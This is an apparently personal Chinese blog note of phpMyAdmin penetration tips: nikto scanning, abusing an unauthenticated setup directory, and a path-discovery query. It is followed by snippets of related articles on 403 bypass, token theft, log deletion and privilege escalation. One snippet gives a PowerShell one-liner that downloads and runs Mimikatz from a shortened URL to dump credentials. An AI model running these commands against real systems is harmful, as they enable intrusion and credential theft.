加油努力拉屎放屁
加油努力拉屎放屁

phpmyadmin渗透小技巧

只是单纯的记录给自己看的哈 如果大家看到不要嫌弃

一些建站软件或者傻瓜式的搭建软件phpmyadmin常会在888、999的端口

我们可以尝试用nikto进行检测相应的未授权漏洞
nikto -host http://测试域名地址:999/

setup这个目录有时候管理员不会关闭 因为默认安装的 隐患很大哈 恰恰也能利用

自己能够直接未授权进行操作 我们可以直接新建服务器
phpmyadmin渗透小技巧_第1张图片

在认证页面的时候 我们还可以能够获取缓存的敏感信息phpmyadmin渗透小技巧_第2张图片

phpmyadmin如果进去了 其实还是有很多可以利用的漏洞（自己都可以去复现复现）
在这里插入图片描述

小技巧 一次性查询所有的具有目录特征的 能够让我们更方便的进行路径的判断

show variables like "%dir%";

你可能感兴趣的:(渗透技巧)

  • 渗透技巧之403绕过【总结】 gaynell 总结系统安全安全web安全其他
    文章目录渗透技巧之403绕过【总结】0x01前言0x02背景1.什么是网页403？2.什么是403绕过？3.造成403的成因0x03绕过方式1.绕过IP限制2.url覆盖绕过3.扩展名绕过（路径fuzz）4.更换协议版本5.HTTP请求方法fuzz6.修改Referer7.修改user-agent8.常用自动化工具0x04实战分析渗透技巧之403绕过【总结】0x01前言免责声明：请勿利用文章内的相
  • 渗透技巧之403绕过_指纹识别 NL0ck_S 渗透测试网络安全chromefirefoxsafari
    403绕过清单FFUF路径模糊测试ffuf-w403_url_payloads.txt-uhttp://example.com/auth_pathFUZZ-fc403,401,400HTTP标头模糊测试ffuf-w403_bypass_header_names.txt:HEADER-w403_bypass_header_values.txt:VALUE-uhttp://example.com/au
  • 【渗透技巧】资产探测及信息收集 hacker鬼七 网络安全web安全网络
    一、前言在众测中，基本上SRC的漏洞收集范围有如下几种形式：形式一：暂时仅限以下系统：www.xxx.com,其他域名不在此次测试范围内形式二：只奖励与*.xxx.com相关的漏洞形式三：无限制形式一，基本被限定了范围形式二，注重于子域名的收集形式三，子域名及相关域名的收集另外，随着企业内部业务的不断壮大，各种业务平台和管理系统越来越多，很多单位往往存在着“隐形资产”，这些“隐形资产”通常被管理员
  • 从 Admin 权限切换到 System 权限 老白_ 系统系统权限
    渗透技巧——从Admin权限切换到System权限0x00前言在渗透测试中，某些情况下需要用到system权限，例如操作注册表HKEY_LOCAL_MACHINESAMSAM恰巧最近看到了一篇文章介绍了几种获得system权限的方法，于是决定结合自己的经验对这方面的技巧做系统整理当然，前提是已经获得系统的管理员权限学习链接：https://blog.xpnsec.com/becoming-syst
  • 渗透测试面试、渗透技巧 艾欧尼亚归我了 渗透
    一、思路流程1、信息收集a、服务器的相关信息（真实ip，系统类型，版本，开放端口，WAF等）b、网站指纹识别（包括，cms，cdn，证书等），dns记录c、whois信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等）e、子域名收集，旁站，C段等f、googlehacking针对化搜索，pdf文件，中间件版本，弱口令扫描等g、扫描网站目录结构，爆后台，网站banner，测试文件，备份等敏感
  • 渗透测试面试问题2021版，内含大量渗透技巧 渗透测试老鸟-九青 网络安全面试渗透测试网络安全pythonphpweb安全
    目录思路流程信息收集漏洞挖掘漏洞利用&权限提升清除测试数据&输出报告复测问题1.拿到一个待检测的站，你觉得应该先做什么？2.判断出网站的CMS对渗透有什么意义？3.一个成熟并且相对安全的CMS，渗透时扫目录的意义？4.常见的网站服务器容器。5.mysql注入点，用工具对目标站直接写入一句话，需要哪些条件？6.目前已知哪些版本的容器有解析漏洞，具体举例。7.如何手工快速判断目标站是windows还是
  • 2021Web安全面试题大全（附答案详解）看完稳了 大明湖畔的九青 面试分享面试java网络安全web安全渗透测试
    人人都有一个进大厂的梦想，而进大厂的门槛也可想而知，所以这里整理了一份安全大厂的面试大全，看完文章如果对你有帮助的话希望能够点赞+收藏+关注！感谢！本篇文章对于学习Web安全的朋友来说应该是目前最全面的面试题合集了，后续也会陆续更新其他大厂的面试题目和知识点。另外我还整理了许多关于Web安全的学习资料+工具包等等，需要的点击Web安全学习一、渗透测试面试题，包含大量渗透技巧1.拿到一个待检测的站，
  • rsync的几则tips（渗透技巧） Coisini、 实战篇
    关于rsyncrsync(remotesynchronize)——Linux下实现远程同步功能的软件，能同步更新两处计算机的文件及目录。在同步文件时，可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新，因此使用人群多为开发人员；而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。rsync默认配置文件为/etc/rsyncd.conf，
  • 渗透技巧——Token窃取与利用 weixin_30312557
    作者:print("")分类:信息安全发布时间:2018-06-0217:21编辑0x00前言在之前的文章《渗透技巧——程序的降权启动》介绍了使用SelectMyParent降权的方法，本质上是通过token窃取实现的。这一次将要对token窃取和利用做进一步介绍，测试常用工具，分享利用技巧。0x01简介本文将要介绍以下内容;Token简介Metasploit中的incognitoWindows平
  • 内网渗透----Token 窃取与利用 浅笑⁹⁹⁶ #内网技巧
    0x00前言在之前的文章《渗透技巧——程序的降权启动》介绍了使用SelectMyParent降权的方法，本质上是通过token窃取实现的。这一次将要对token窃取和利用做进一步介绍，测试常用工具，分享利用技巧。0x01简介本文将要介绍以下内容;·Token简介·Metasploit中的incognito·Windows平台下的incognito·Invoke-TokenManipulation.
  • 红蓝对抗之域名搜集方法总结 腾讯安全应急响应中心
    作者：腾讯蓝军实习生jax、yhy、A1oe前言在历次HW、红蓝对抗、渗透测试项目中，外网的信息收集是至关重要的一个环节，外网打点信息收集全面了，可能会有四两拨千斤效果，直接突破外网边界进入内网。最近我们三人加入腾讯蓝军学习渗透技巧，导师让我们对域名资产收集方式做一次全面梳理研究。子域名是域名信息收集的一个重要部分，在防御措施严密情况下我们无法直接拿下主域名，那么就可以采用迂回战术拿下子域名，然后
  • 【内网渗透】域渗透技巧 => 第三方工具API qq_27446553 Windows渗透
    前言域管理进程转移，使得渗透测试人员能够模拟在互联网上的域名管理员账户进行操作。尽管如此，在渗透测试开始之前需要确认系统中进程是否运行。在这篇博文中，我讲介绍5个技巧来帮助大家去做这些事情。本地检测查询活跃的域控制器扫描远程系统上运行的任务扫描远程系统上NetBIOS信息PSExec扫描远程系统上的身份验证令牌获取域名管理员权限在大多数情况下，本篇文章关注的焦点在于识别运行于域名管理进程的系统。以
  • BT5中MSF很强大的一个工具 小-龟
    Byadmin¶Postedin入侵渗透技巧¶Leaveareply综合扫描服务器的软件MSF(在线攻击)msfconsole进入db_nmap-TAggressive-sV-n-O-vIP（调用nmap扫描指定ip）db_hosts（nmap的结果自动保存在hosts中）db_autopwn-p-t-e-Iip(指定IP攻击-指定IP只局限与hosts里面指定的)db_autopwn-p-t-e
  • LINUX渗透与提权总结 weixin_34255793
    本文为Linux渗透与提权技巧总结篇，旨在收集各种Linux渗透技巧与提权版本，方便各位同学在日后的渗透测试中能够事半功倍。Linux系统下的一些常见路径：001/etc/passwd002003/etc/shadow004005/etc/fstab006007/etc/host.conf008009/etc/motd010011/etc/ld.so.conf012013/var/www/htdo
  • 各种提权、渗透经验技巧总结大全(下) netsec_steven
    liunx相关提权渗透技巧总结，一、ldap渗透技巧：1.cat/etc/nsswitch看看密码登录策略我们可以看到使用了fileldap模式2.less/etc/ldap.confbaseou=People,dc=unix-center,dc=net找到ou,dc,dc设置3.查找管理员信息匿名方式ldapsearch-x-D“cn=administrator,cn=People,dc=uni
  • Linux渗透技巧+实战 god_7z1 LinuxHacking
    一.ldap渗透技巧1.cat/etc/nsswitch看看密码登录策略我们可以看到使用了fileldap模式2.less/etc/ldap.confbaseou=People,dc=unix-center,dc=net找到ou,dc,dc设置3.查找管理员信息匿名方式ldapsearch-x-D“cn=administrator,cn=People,dc=unix-center,dc=net”-
  • 渗透技巧——Windows日志的删除与绕过 weixin_34160277
    本文讲的是渗透技巧——Windows日志的删除与绕过，0x00前言在渗透测试过程中，Windows日志往往会记录系统上的敏感操作，如添加用户，远程登录执行等。对于一次完整的渗透测试，通常会选择对Windows日志进行清除和绕过，而对于防御者来说，了解常用的绕过方法也有助于更好的保护自己的系统。所以本文将要介绍常见的Windows日志清除与绕过方法，分享经验，帮助大家。0x01简介本文将要介绍以下内
  • 渗透技巧总结 bit小兵
    旁站路径问题1、读网站配置。2、用以下VBSOnErrorResumeNextIf(LCase(Right(WScript.Fullname,11))="wscript.exe")ThenMsgboxSpace(12)&"IISVirtualWebViewer"&Space(12)&Chr(13)&Space(9)&"Usage:CscriptvWeb.vbs",4096,"Lilo"WScrip
  • 渗透技巧：Windows平台运行Masscan和Nmap weixin_34185364
    本文讲的是渗透技巧：Windows平台运行Masscan和Nmap，0x00前言在内网渗透中，信息搜集尤为重要。面对内网的复杂环境，虽说网络扫描容易暴露自己，但通过扫描可以发现内网的存活主机、开放端口，运行服务、操作系统等信息，为进一步渗透奠定基础。扫描工具的选取，不仅要考虑功能，更要考虑工具的适用性。现实中的跳板通常并不是一台Linux服务器，没有合适的环境安装Nmap、Zmap和Masscan
  • VMware Workstation 中安装metasploitable 2 xyyz.. 虚拟机渗透metasploitable
    脆弱系统（vulnerableserver）——一台存在很多漏洞的虚拟主机。也叫做靶机。用于练习渗透技巧，了解主机漏洞。这里安装的靶机是metasploitable-linux-2.0.0，安装过程如下：1、https://sourceforge.net/projects/metasploitable/，官网下载安装包：metasploitable-linux-2.0.0.zip2、解压metas
  • 内网渗透技巧 mirror97black 内网渗透
    通过powershell运行mimikatzpowershell"IEX(New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"获取hash之后，解出明文密码将目标机器共享盘映射到本地的h盘netuseh:\\ip\c$"密码"/user:"用户名"注意，映射盘对方也可以看到
  • 【渗透技巧】资产探测及信息收集 Bypass-- 渗透测试
    一、前言在众测中，基本上SRC的漏洞收集范围有如下几种形式：形式一：暂时仅限以下系统：www.xxx.com,其他域名不在此次测试范围内形式二：只奖励与*.xxx.com相关的漏洞形式三：无限制形式一，基本被限定了范围形式二，注重于子域名的收集形式三，子域名及相关域名的收集另外，随着企业内部业务的不断壮大，各种业务平台和管理系统越来越多，很多单位往往存在着“隐形资产”，这些“隐形资产”通常被管理员
  • web狗日记之Vulnhub-five86-2 传说中的彩虹海 你di韩商言运维linuxshellpython安全
    主要考察：1、wpcms渗透技巧2、Wpcms插件漏洞的使用3、流量捕获以及分析4、Linux提权Vulnhub官网速度感人，朋友给了这个站点，下载比较快点：http://five86.com/five86-2.html导入到虚拟机里，ip貌似为动态分配，网卡我习惯设置为桥接模式，于是nmap扫出d段，这个不用废话了，也没截图。找到ip登录主站的时候，去说明前看了看，大概了解，不是那种右键源代码就
  • 总结16种网站渗透技巧经验分享 weixin_30633949
    1.利用网站过滤不严直接绕过后台验证，在网站后面加上admin/session.asp或admin/left.asp2.有的网站进后台会出现一个脚本提示框，输入：administrator即可突破！因为admin代表以管理员身份进入的意思。3.有的网站开了3389，入侵之前先去连接3389，尝试弱口令或是爆破，再者就是按5次shift键，看看有没前人装过后门，然后再社工密码。4.有时候进后台会弹出
  • 渗透技巧——获得Powershell命令的历史记录 systemino
    0x00前言我在最近的学习过程中，发现Powershell命令的历史记录有时会包含系统敏感信息，例如远程服务器的连接口令，于是我对Powershell的历史记录功能做了进一步研究，总结一些渗透测试中常用导出历史记录的方法，结合利用思路，给出防御建议。0x01简介本文将要介绍以下内容：·两种Powershell命令的历史记录·导出Powershell命令历史记录的方法·防御建议0x02两种Power
  • 各种渗透,提权的经验和技巧总结（中） eudemon_cn 网络杂谈入侵防护
    liunx相关提权渗透技巧总结，一、ldap渗透技巧：1.cat/etc/nsswitch看看密码登录策略我们可以看到使用了fileldap模式2.less/etc/ldap.confbaseou=People,dc=unix-center,dc=net找到ou,dc,dc设置3.查找管理员信息匿名方式ldapsearch-x-D"cn=administrator,cn=People,dc=uni
  • 【PHP渗透技巧拓展】————2、利用 Gopher 协议拓展攻击面 FLy_鹏程万里 【渗透测试拓展】———PHP相关技巧
    1概述Gopher协议是HTTP协议出现之前，在Internet上常见且常用的一个协议。当然现在Gopher协议已经慢慢淡出历史。Gopher协议可以做很多事情，特别是在SSRF中可以发挥很多重要的作用。利用此协议可以攻击内网的FTP、Telnet、Redis、Memcache，也可以进行GET、POST请求。这无疑极大拓宽了SSRF的攻击面。2攻击面测试2.1环境IP:172.19.23.218
  • 2017年9月3日——周总结 FKTX
    一周回顾：上周只能用一个词语来形容，就是杂乱。思想杂乱，内心浮躁。一口饭吃不成胖子，我却妄想一步登天。我学了什么？WAF？IPS?还是防火墙？还是绕WAF等各种渗透方法？是的，我好像都学了，但是，又好像都没学。为什么这么说？因为我每个都是没有学精，没有学踏实。学WAF又去了解了IPS，学了IPS又去了解了防火墙，了解防火墙的同时又去了解了渗透技巧。杂乱无序，没有规划，学习效果自然很差。原因出自哪里
  • 渗透技巧--通过cmd上传文件的N种方法 Bugl0v3r
    渗透技巧--通过cmd上传文件的N种方法1.debugdebug是一个程序调试工具，功能包括：（win7以上版本好像没有）直接输入，更改，跟踪，运行汇编语言源程序观察操作系统的内容查看ROMBIOS的内容观察更改RAM内部的设置值以扇区或文件的方式读写软盘数据特别的是它还有一个功能可以将十六进制代码转换为可执行文件：hex思路：把需要上传的exe转换成十六进制hex的形式通过echo命令将hex代
  • 我的渗透装备 yo_哥
    @[渗透技巧,yoyoyang]终级渗透BOSSPentestBox(windows)kalilinuxChromeF12，打开开发者工具，功能==Firebug+本地存储观察等SwitchSharp插件，代理必备postman插件，接口调试工具（RESTClient）FirefoxFirebug，调试JS，HTTP请求响应观察，Cookie，DOM树观察等ProxySwitcher，代理必备ha
  • 多线程编程之卫生间 周凡杨 java并发卫生间线程厕所
    如大家所知，火车上车厢的卫生间很小，每次只能容纳一个人，一个车厢只有一个卫生间，这个卫生间会被多个人同时使用，在实际使用时，当一个人进入卫生间时则会把卫生间锁上，等出来时打开门，下一个人进去把门锁上，如果有一个人在卫生间内部则别人的人发现门是锁的则只能在外面等待。问题分析：首先问题中有两个实体，一个是人，一个是厕所，所以设计程序时就可以设计两个类。人是多数的，厕所只有一个（暂且模拟的是一个车厢）。
  • How to Install GUI to Centos Minimal sunjing linuxInstallDesktopGUI
    http://www.namhuy.net/475/how-to-install-gui-to-centos-minimal.html   I have centos 6.3 minimal running as web server. I’m looking to install gui to my server to vnc to my server. You can insta
  • Shell 函数 daizj shell函数
    Shell 函数 linux shell 可以用户定义函数，然后在shell脚本中可以随便调用。 shell中函数的定义格式如下： [function] funname [()]{ action; [return int;] } 说明： 1、可以带function fun() 定义，也可以直接fun() 定义,不带任何参数。 2、参数返回
  • Linux服务器新手操作之一 周凡杨 Linux 简单 操作
    1.whoami      当一个用户登录Linux系统之后，也许他想知道自己是发哪个用户登录的。      此时可以使用whoami命令。      [ecuser@HA5-DZ05 ~]$ whoami       e
  • 浅谈Socket通信（一） 朱辉辉33 socket
    在java中ServerSocket用于服务器端，用来监听端口。通过服务器监听，客户端发送请求，双方建立链接后才能通信。当服务器和客户端建立链接后，两边都会产生一个Socket实例，我们可以通过操作Socket来建立通信。    首先我建立一个ServerSocket对象。当然要导入java.net.ServerSocket包    ServerSock
  • 关于框架的简单认识 西蜀石兰 框架
    入职两个月多，依然是一个不会写代码的小白，每天的工作就是看代码，写wiki。 前端接触CSS、HTML、JS等语言，一直在用的CS模型，自然免不了数据库的链接及使用，真心涉及框架，项目中用到的BootStrap算一个吧，哦，JQuery只能算半个框架吧，我更觉得它是另外一种语言。 后台一直是纯Java代码，涉及的框架是Quzrtz和log4j。 都说学前端的要知道三大框架，目前node.
  • You have an error in your SQL syntax; check the manual that corresponds to your 林鹤霄
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'option,changed_ids  ) values('0ac91f167f754c8cbac00e9e3dc372
  • MySQL5.6的my.ini配置 aigo mysql
    注意：以下配置的服务器硬件是：8核16G内存    [client]   port=3306   [mysql]   default-character-set=utf8     [mysqld]   port=3306   basedir=D:/mysql-5.6.21-win
  • mysql 全文模糊查找 便捷解决方案 alxw4616 mysql
    mysql 全文模糊查找 便捷解决方案 2013/6/14 by 半仙 [email protected] 目的: 项目需求实现模糊查找. 原则: 查询不能超过 1秒. 问题: 目标表中有超过1千万条记录. 使用like '%str%' 进行模糊查询无法达到性能需求. 解决方案: 使用mysql全文索引. 1.全文索引 : MySQL支持全文索引和搜索功能。MySQL中的全文索
  • 自定义数据结构 链表(单项 ,双向,环形) 百合不是茶 单项链表双向链表
         链表与动态数组的实现方式差不多,    数组适合快速删除某个元素    链表则可以快速的保存数组并且可以是不连续的       单项链表;数据从第一个指向最后一个   实现代码:        //定义动态链表 clas
  • threadLocal实例 bijian1013 javathreadjava多线程threadLocal
    实例1： package com.bijian.thread; public class MyThread extends Thread { private static ThreadLocal tl = new ThreadLocal() { protected synchronized Object initialValue() { return new Inte
  • activemq安全设置—设置admin的用户名和密码 bijian1013 javaactivemq
            ActiveMQ使用的是jetty服务器, 打开conf/jetty.xml文件，找到 <bean id="adminSecurityConstraint" class="org.eclipse.jetty.util.security.Constraint"> <p
  • 【Java范型一】Java范型详解之范型集合和自定义范型类 bit1129 java
    本文详细介绍Java的范型，写一篇关于范型的博客原因有两个，前几天要写个范型方法(返回值根据传入的类型而定)，竟然想了半天，最后还是从网上找了个范型方法的写法；再者，前一段时间在看Gson, Gson这个JSON包的精华就在于对范型的优雅简单的处理，看它的源代码就比较迷糊，只其然不知其所以然。所以，还是花点时间系统的整理总结下范型吧。   范型内容 范型集合类 范型类
  • 【HBase十二】HFile存储的是一个列族的数据 bit1129 hbase
    在HBase中，每个HFile存储的是一个表中一个列族的数据，也就是说，当一个表中有多个列簇时，针对每个列簇插入数据，最后产生的数据是多个HFile，每个对应一个列族，通过如下操作验证   1. 建立一个有两个列族的表   create 'members','colfam1','colfam2'   2. 在members表中的colfam1中插入50*5
  • Nginx 官方一个配置实例 ronin47 nginx 配置实例
    user www www; worker_processes 5; error_log logs/error.log; pid logs/nginx.pid; worker_rlimit_nofile 8192; events { worker_connections 4096;} http { include conf/mim
  • java-15.输入一颗二元查找树，将该树转换为它的镜像， 即在转换后的二元查找树中，左子树的结点都大于右子树的结点。 用递归和循环 bylijinnan java
    //use recursion public static void mirrorHelp1(Node node){ if(node==null)return; swapChild(node); mirrorHelp1(node.getLeft()); mirrorHelp1(node.getRight()); } //use no recursion bu
  • 返回null还是empty bylijinnan javaapachespring编程
    第一个问题，函数是应当返回null还是长度为0的数组（或集合）？ 第二个问题，函数输入参数不当时，是异常还是返回null？ 先看第一个问题 有两个约定我觉得应当遵守： 1.返回零长度的数组或集合而不是null（详见《Effective Java》） 理由就是，如果返回empty，就可以少了很多not-null判断： List<Person> list
  • [科技与项目]工作流厂商的战略机遇期 comsci 工作流
          在新的战略平衡形成之前，这里有一个短暂的战略机遇期，只有大概最短6年，最长14年的时间，这段时间就好像我们森林里面的小动物，在秋天中，必须抓紧一切时间存储坚果一样，否则无法熬过漫长的冬季。。。。         在微软，甲骨文，谷歌，IBM,SONY
  • 过度设计-举例 cuityang 过度设计
    过度设计，需要更多设计时间和测试成本，如无必要，还是尽量简洁一些好。 未来的事情，比如 访问量，比如数据库的容量，比如是否需要改成分布式  都是无法预料的 再举一个例子，对闰年的判断逻辑： 　　1、 if($Year%4==0) return True; else return Fasle; 　　2、if (   ($Year%4==0  &am
  • java进阶，《Java性能优化权威指南》试读 darkblue086 java性能优化
    记得当年随意读了微软出版社的.NET 2.0应用程序调试，才发现调试器如此强大，应用程序开发调试其实真的简单了很多，不仅仅是因为里面介绍了很多调试器工具的使用，更是因为里面寻找问题并重现问题的思想让我震撼，时隔多年，Java已经如日中天，成为许多大型企业应用的首选，而今天，这本《Java性能优化权威指南》让我再次找到了这种感觉，从不经意的开发过程让我刮目相看，原来性能调优不是简单地看看热点在哪里，
  • 网络学习笔记初识OSI七层模型与TCP协议 dcj3sjt126com 学习笔记
      协议：在计算机网络中通信各方面所达成的、共同遵守和执行的一系列约定 　　计算机网络的体系结构：计算机网络的层次结构和各层协议的集合。 　　两类服务： 　　面向连接的服务通信双方在通信之前先建立某种状态，并在通信过程中维持这种状态的变化，同时为服务对象预先分配一定的资源。这种服务叫做面向连接的服务。 　　面向无连接的服务通信双方在通信前后不建立和维持状态，不为服务对象
  • mac中用命令行运行mysql dcj3sjt126com mysqllinuxmac
    参考这篇博客：http://www.cnblogs.com/macro-cheng/archive/2011/10/25/mysql-001.html  感觉workbench不好用（有点先入为主了）。 1，安装mysql 在mysql的官方网站下载 mysql 5.5.23 http://www.mysql.com/downloads/mysql/，根据我的机器的配置情况选择了64
  • MongDB查询（1）——基本查询[五] eksliang mongodbmongodb 查询mongodb find
    MongDB查询 转载请出自出处：http://eksliang.iteye.com/blog/2174452 一、find简介 MongoDB中使用find来进行查询。 API:如下 function ( query , fields , limit , skip, batchSize, options ){.....}  参数含义： query:查询参数 fie
  • base64，加密解密 经融加密，对接 y806839048 经融加密对接
    String data0 = new String(Base64.encode(bo.getPaymentResult().getBytes(("GBK")))); String data1 = new String(Base64.decode(data0.toCharArray()),"GBK"); // 注意编码格式，注意用于加密，解密的要是同
  • JavaWeb之JSP概述 ihuning javaweb
      什么是JSP？为什么使用JSP？ JSP表示Java Server Page，即嵌有Java代码的HTML页面。使用JSP是因为在HTML中嵌入Java代码比在Java代码中拼接字符串更容易、更方便和更高效。   JSP起源    在很多动态网页中，绝大部分内容都是固定不变的，只有局部内容需要动态产生和改变。  如果使用Servl
  • apple watch 指南 啸笑天 apple
    1. 文档 WatchKit Programming Guide（中译在线版 By @CocoaChina） 译文 译者 原文 概览 - 开始为 Apple Watch 进行开发 @星夜暮晨 Overview - Developing for Apple Watch 概览 - 配置 Xcode 项目 - Overview - Configuring Yo
  • java经典的基础题目 macroli java编程
    1.列举出 10个JAVA语言的优势 a:免费，开源，跨平台(平台独立性)，简单易用，功能完善，面向对象，健壮性，多线程，结构中立，企业应用的成熟平台, 无线应用 2.列举出JAVA中10个面向对象编程的术语 a:包，类，接口，对象，属性，方法，构造器，继承，封装，多态，抽象，范型 3.列举出JAVA中6个比较常用的包 Java.lang;java.util;java.io;java.sql;ja
  • 你所不知道神奇的js replace正则表达式 qiaolevip 每天进步一点点学习永无止境纵观千象regex
    var v = 'C9CFBAA3CAD0'; console.log(v); var arr = v.split(''); for (var i = 0; i < arr.length; i ++) { if (i % 2 == 0) arr[i] = '%' + arr[i]; } console.log(arr.join('')); console.log(v.r
  • [一起学Hive]之十五-分析Hive表和分区的统计信息(Statistics) superlxw1234 hivehive分析表hive统计信息hive Statistics
    关键字：Hive统计信息、分析Hive表、Hive Statistics   类似于Oracle的分析表，Hive中也提供了分析表和分区的功能，通过自动和手动分析Hive表，将Hive表的一些统计信息存储到元数据中。   表和分区的统计信息主要包括：行数、文件数、原始数据大小、所占存储大小、最后一次操作时间等；   14.1 新表的统计信息 对于一个新创建
  • Spring Boot 1.2.5 发布 wiselyman spring boot
        Spring Boot 1.2.5已在7月2日发布，现在可以从spring的maven库和maven中心库下载。   这个版本是一个维护的发布版，主要是一些修复以及将Spring的依赖提升至4.1.7(包含重要的安全修复)。   官方建议所有的Spring Boot用户升级这个版本。   项目首页 | 源
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他